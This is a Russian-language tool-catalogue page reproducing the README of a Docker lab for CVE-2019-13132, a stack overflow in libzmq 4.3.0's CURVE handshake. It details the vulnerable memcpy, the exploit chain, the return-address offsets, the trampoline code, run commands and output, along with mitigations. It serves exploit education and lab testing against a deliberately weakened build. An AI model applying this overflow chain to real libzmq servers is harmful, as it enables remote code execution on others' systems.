Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2019-13132-lab — CVE-2019-13132 — переполнение стека CURVE INITIATE в libzmq → RCE. Рабочий эксплойт + лаборатория Docker. | Kitploit
Инструменты/GitHubGitHub/dinosn/cve-2019-13132-lab
Анализ уязвимостейЭксплуатацияОбратная инженерияФаззингОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubdinosn/cve-2019-13132-lab

cve-2019-13132-lab

CVE-2019-13132 — переполнение стека CURVE INITIATE в libzmq → RCE. Рабочий эксплойт + лаборатория Docker.

Репозиторий
24 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2019-13132 — переполнение стека CURVE INITIATE в libzmq → лаборатория RCE

CVE CVSS Affected License

Полноценный рабочий эксплойт RCE + воспроизводимая лаборатория для CVE-2019-13132, переполнения стекового буфера в обработчике подтверждения CURVE INITIATE в libzmq. Злоумышленник, знающий долгосрочный открытый ключ сервера (публичный параметр по дизайну), может переполнить стековый буфер фиксированного размера в process_initiate(), перезаписать сохранённый обратный адрес и перенаправить выполнение на произвольный код.

Автор: Nicolas Krassas (@dinosn).

В этот набор входит намеренно уязвимая libzmq 4.3.0 с отключёнными средствами защиты. Не выставляйте порт 5556 за пределы лаборатории. Ошибка исправлена в libzmq 4.3.2.

Только для лабораторного использования.

Быстрый старт

root@kitploit:~
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
           -p 5556:5556 cve-2019-13132-lab

# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132

Автоматизированный дымовой тест (запускает эксплойт + проверяет файл подтверждения):

root@kitploit:~
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh

Структура репозитория

root@kitploit:~
.
├── README.md           # this file
├── Dockerfile          # one-command containerised lab
├── server-curve.c      # CURVE REP listener — the vulnerable target
├── exploit.py          # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py  # build-time offset extraction → build_offsets.json
├── calibrate.sh        # runtime calibration → profile.json
├── start_server.sh     # start/restart the target
├── run_lab_test.sh     # automated end-to-end smoke test
└── entrypoint.sh       # Docker entrypoint (ASLR off + server + calibrate)

Уязвимость

src/curve_server.cpp:284-336 (libzmq 4.3.0):

root@kitploit:~
if (size < 257) {                   // only a MINIMUM check; no upper bound
    errno = EPROTO; return -1;
}

const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;

uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256];  // 416 bytes fixed

memcpy (initiate_box + crypto_box_BOXZEROBYTES,             // dest: stack buf + 16
        initiate + 113,                                     // src:  attacker data
        clen - crypto_box_BOXZEROBYTES);                    // len:  size - 113

initiate_box — это 416-байтовый буфер, выделенный в стеке. memcpy записывает size - 113 байт в 400-байтовую область полезной нагрузки (смещение 16..415). Любой INITIATE с size > 513 переполняет буфер, затрагивая сохранённые регистры вызываемых функций и обратный адрес.

Проверка cookie происходит до переполнения, поэтому INITIATE должен содержать настоящий cookie — но cookie получается из предыдущего сообщения WELCOME с использованием только долгосрочного открытого ключа сервера.


Цепочка эксплойта

1. Подтверждение CURVE (нужен только открытый ключ)

Протокол CURVE устроен так, что клиенты уже имеют долгосрочный открытый ключ сервера (он находится в URI подключения или конфигурации). Эксплойт:

  1. Генерирует новый эфемерный ключевой набор (C', c').
  2. Отправляет валидный HELLO — сервер расшифровывает его, используя C' + свой секретный ключ.
  3. Получает WELCOME — расшифровывает его, используя C' + открытый ключ сервера.
  4. Извлекает cookie из WELCOME.
  5. Отправляет INITIATE с настоящим cookie + увеличенной полезной нагрузкой.
  6. Cookie проходит проверку, и срабатывает уязвимый memcpy.

Нет учётных данных на уровне приложения. Нет обхода аутентификации ZAP. Переполнение происходит во время обмена ключами CURVE, до того, как приложение увидит пира.

2. Переполнение стека → перезапись обратного адреса

root@kitploit:~
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):

    prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
              sub $0x628, %rsp

    RSP + 0x490  ← memcpy destination (initiate_box + 16)
    RSP + 0x628  ← saved rbx
    RSP + 0x630  ← saved rbp
    RSP + 0x638  ← saved r12
    RSP + 0x640  ← saved r13
    RSP + 0x648  ← saved r14
    RSP + 0x650  ← saved r15
    RSP + 0x658  ← RETURN ADDRESS       offset = 0x658 - 0x490 = 456 bytes

Эксплойт отправляет 464 байта полезной нагрузки: 456 байт заполнителя (0x41) для достижения обратного адреса, затем 8 байт, содержащих адрес lab_trampoline().

3. Путь ошибки → эпилог → ret → трамплин

После переполнения crypto_box_open() терпит неудачу (переполненные данные — мусорный шифротекст). Путь ошибки записывает сбой, устанавливает errno и возвращает -1 — но путь ошибки обращается только к областям стека ниже региона переполнения (RSP+0xe0, RSP+0xf0, RSP+0x280), поэтому он выполняется чисто с повреждённым стеком.

Эпилог функции (add $0x628,%rsp; pop rbx-r15; ret) извлекает повреждённые сохранённые регистры (теперь 0x4141414141414141), а затем ret загружает наш адрес трамплина.

4. Выполнение кода

lab_trampoline() использует сырые системные вызовы (без libc, без fork()) для записи файла подтверждения:

root@kitploit:~
void lab_trampoline(void) {
    int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
    syscall(SYS_write, fd, banner, ...);
    // reads /proc/self/status (shows uid, pid, capabilities)
    // reads /etc/hostname
    syscall(SYS_exit_group, 0);
}

Используются сырые системные вызовы вместо system() / fork(), потому что process_initiate() выполняется в I/O потоке libzmq — вызов fork() из неглавного потока в многопоточном процессе вызывает взаимоблокировку на обработчиках блокировок pthread_atfork в glibc.

Почему нужен только открытый ключ

Долгосрочный открытый ключ сервера является публичным параметром в протоколе CurveZMQ — клиенты должны иметь его для подключения. Обычно он распространяется в конфигурационных файлах, URI или механизмах обнаружения. Эксплойт не требует секретных материалов.


Определение смещений

Эксплойту нужно два значения:

полезначениеисточник
trampoline_addr0x401206nm server-curve (не-PIE бинарный файл, фиксированный адрес)
offset_to_ret456дизассемблирование process_initiate (0x658 - 0x490)

Оба значения жёстко закодированы в exploit.py как встроенные значения по умолчанию для сборки Docker-лаборатории (Debian 12, gcc 12, libzmq 4.3.0). Калибровка не требуется — просто запустите эксплойт:

root@kitploit:~
python3 exploit.py                                          # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json   # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456       # manual override

Приоритет разрешения: флаги --trampoline/--offset → файл --profile → /opt/zmq-curve-rce/profile.json → встроенные значения по умолчанию.

Почему нет определения во время выполнения?

У ZMTP нет API для интроспекции. Приветствие раскрывает только версию протокола (3.x) и механизм (CURVE) — ничего о сборке libzmq, компиляторе или структуре бинарного файла. Нет идентификатора сборки, доступного во время выполнения, который позволил бы автоматически выбирать смещения для неизвестных целей.

Скрипты calibrate.sh / compute_offsets.py предоставлены для пересборок на разных дистрибутивах или версиях gcc, где адрес трамплина может измениться. Внутри Docker-лаборатории они запускаются автоматически, но не нужны.


Пример вывода

root@kitploit:~
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target:         127.0.0.1:5556
[*] trampoline    @ 0x0000000000401206
[*] offset to ret:  456 bytes

[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() → ret → trampoline → system()
[*] done — check /tmp/pwned-13132 on target

--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name:   server-curve
...
Uid:    0       0       0       0
...
hostname: caa76cbbc4a4
--- end ---

[PASS] RCE confirmed — /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab — RCE chain verified end-to-end.

Средства защиты

ЗащитаЭффект
Обновление до libzmq >= 4.3.2Исправлено. Добавлена проверка верхней границы размера INITIATE перед memcpy.
Канарейки стека (-fstack-protector)Обнаруживает переполнение до возврата функции. Канарейка находится между локальными переменными и сохранёнными регистрами; переполнение повреждает её, вызывая __stack_chk_fail.
ASLRРандомизирует адреса общих библиотек и стека. Трамплин находится в не-PIE бинарном файле (фиксированный адрес), но рабочий сервер был бы PIE, что требует утечки информации.
PIEРандомизирует адрес загрузки бинарного файла сервера. Адрес трамплина больше не будет предсказуем без утечки.
NXЗдесь не актуально — инжект шелл-кода не производится; эксплойт вызывает существующий код.
ZAP / аутентификация на уровне приложенияНе помогает — переполнение происходит во время обмена ключами CURVE, до консультации с ZAP.

Очистка

root@kitploit:~
docker rm -f <container>
# or inside the container:
pkill -9 -x server-curve
rm -f /tmp/pwned-13132
sysctl -w kernel.randomize_va_space=2   # restore ASLR

Ссылки

  • NVD CVE-2019-13132
  • Примечания к выпуску libzmq 4.3.2 — исправление
  • Спецификация CurveZMQ (ZMQ RFC 26) — протокол подтверждения CURVE
  • ZMTP 3.1 (ZMQ RFC 37) — транспортный протокол сообщений ZeroMQ

Автор

Nicolas Krassas — @dinosn

Лицензия

MIT. Исходный код намеренно уязвимой libzmq 4.3.0 загружается во время сборки из вышестоящего репозитория с лицензией LGPLv3 с исключениями / MPLv2.

Отказ от ответственности

Только для оборонительных исследований безопасности, образования и авторизованного тестирования безопасности. Не развёртывайте прилагаемую уязвимую сборку за пределами изолированной лабораторной среды.

Скачать инструмент